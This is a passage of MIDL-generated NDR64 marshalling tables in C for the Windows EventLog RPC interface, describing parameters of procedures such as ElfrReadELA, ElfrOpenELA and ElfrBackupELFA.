   },\n    { \n    /* UserSID */      /* parameter UserSID */\n        &__midl_frag215,\n        { \n        /* UserSID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* Strings */      /* parameter Strings */\n        &__midl_frag176,\n        { \n        /* Strings */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* Data */      /* parameter Data */\n        &__midl_frag180,\n        { \n        /* Data */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag257,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        88 /* 0x58 */,   /* Stack offset */\n    },\n    { \n    /* RecordNumber */      /* parameter RecordNumber */\n        &__midl_frag227,\n        { \n        /* RecordNumber */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        96 /* 0x60 */,   /* Stack offset */\n    },\n    { \n    /* TimeWritten */      /* parameter TimeWritten */\n        &__midl_frag227,\n        { \n        /* TimeWritten */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        104 /* 0x68 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        112 /* 0x70 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag159_t __midl_frag159 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 524287 /* 0x7ffff */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag158_t __midl_frag158 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag159\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag223\n    }\n};\n\nstatic const __midl_frag157_t __midl_frag157 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag158\n};\n\nstatic const __midl_frag156_t __midl_frag156 =\n{ \n/* RULONG */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 524287 /* 0x7ffff */\n};\n\nstatic const __midl_frag152_t __midl_frag152 =\n{ \n/* ElfrReadELA */\n    { \n    /* ElfrReadELA */      /* procedure ElfrReadELA */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ReadFlags */      /* parameter ReadFlags */\n        &__midl_frag210,\n        { \n        /* ReadFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RecordOffset */      /* parameter RecordOffset */\n        &__midl_frag210,\n        { \n        /* RecordOffset */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NumberOfBytesToRead */      /* parameter NumberOfBytesToRead */\n        &__midl_frag156,\n        { \n        /* NumberOfBytesToRead */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Buffer */      /* parameter Buffer */\n        &__midl_frag158,\n        { \n        /* Buffer */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumberOfBytesRead */      /* parameter NumberOfBytesRead */\n        &__midl_frag258,\n        { \n        /* NumberOfBytesRead */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* MinNumberOfBytesNeeded */      /* parameter MinNumberOfBytesNeeded */\n        &__midl_frag258,\n        { \n        /* MinNumberOfBytesNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag150_t __midl_frag150 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag149_t __midl_frag149 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag150\n};\n\nstatic const __midl_frag144_t __midl_frag144 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag223\n};\n\nstatic const __midl_frag143_t __midl_frag143 =\n{ \n/* ElfrOpenBELA */\n    { \n    /* ElfrOpenBELA */      /* procedure ElfrOpenBELA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 45 /* 0x2d */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag144,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag113,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag258,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag258,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag150,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag137_t __midl_frag137 =\n{ \n/* *_RPC_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag134_t __midl_frag134 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag270\n};\n\nstatic const __midl_frag133_t __midl_frag133 =\n{ \n/* ElfrRegisterEventSourceA */\n    { \n    /* ElfrRegisterEventSourceA */      /* procedure ElfrRegisterEventSourceA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 45 /* 0x2d */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag134,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ModuleName */      /* parameter ModuleName */\n        &__midl_frag113,\n        { \n        /* ModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RegModuleName */      /* parameter RegModuleName */\n        &__midl_frag113,\n        { \n        /* RegModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag274,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag274,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag150,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag274,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag132_t __midl_frag132 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag131_t __midl_frag131 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag130_t __midl_frag130 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag131\n};\n\nstatic const __midl_frag125_t __midl_frag125 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag124_t __midl_frag124 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag125\n};\n\nstatic const __midl_frag123_t __midl_frag123 =\n{ \n/* ElfrOpenELA */\n    { \n    /* ElfrOpenELA */      /* procedure ElfrOpenELA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 45 /* 0x2d */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag124,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ModuleName */      /* parameter ModuleName */\n        &__midl_frag113,\n        { \n        /* ModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RegModuleName */      /* parameter RegModuleName */\n        &__midl_frag113,\n        { \n        /* RegModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag132,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag132,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag131,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag132,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag122_t __midl_frag122 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag121_t __midl_frag121 =\n{ \n/* *_RPC_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag120_t __midl_frag120 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag119_t __midl_frag119 =\n{ \n/* ElfrBackupELFA */\n    { \n    /* ElfrBackupELFA */      /* procedure ElfrBackupELFA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag120,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag113,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag122,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag117_t __midl_frag117 =\n{ \n/*  */\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag114\n    }\n};\n\nstatic const __midl_frag116_t __midl_frag116 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag115_t __midl_frag115 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag114_t __midl_frag114 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag115\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag116\n    }\n};\n\nstatic const __midl_frag113_t __midl_frag113 =\n{ \n/* _RPC_STRING */\n    { \n    /* _RPC_STRING */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _RPC_STRING */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        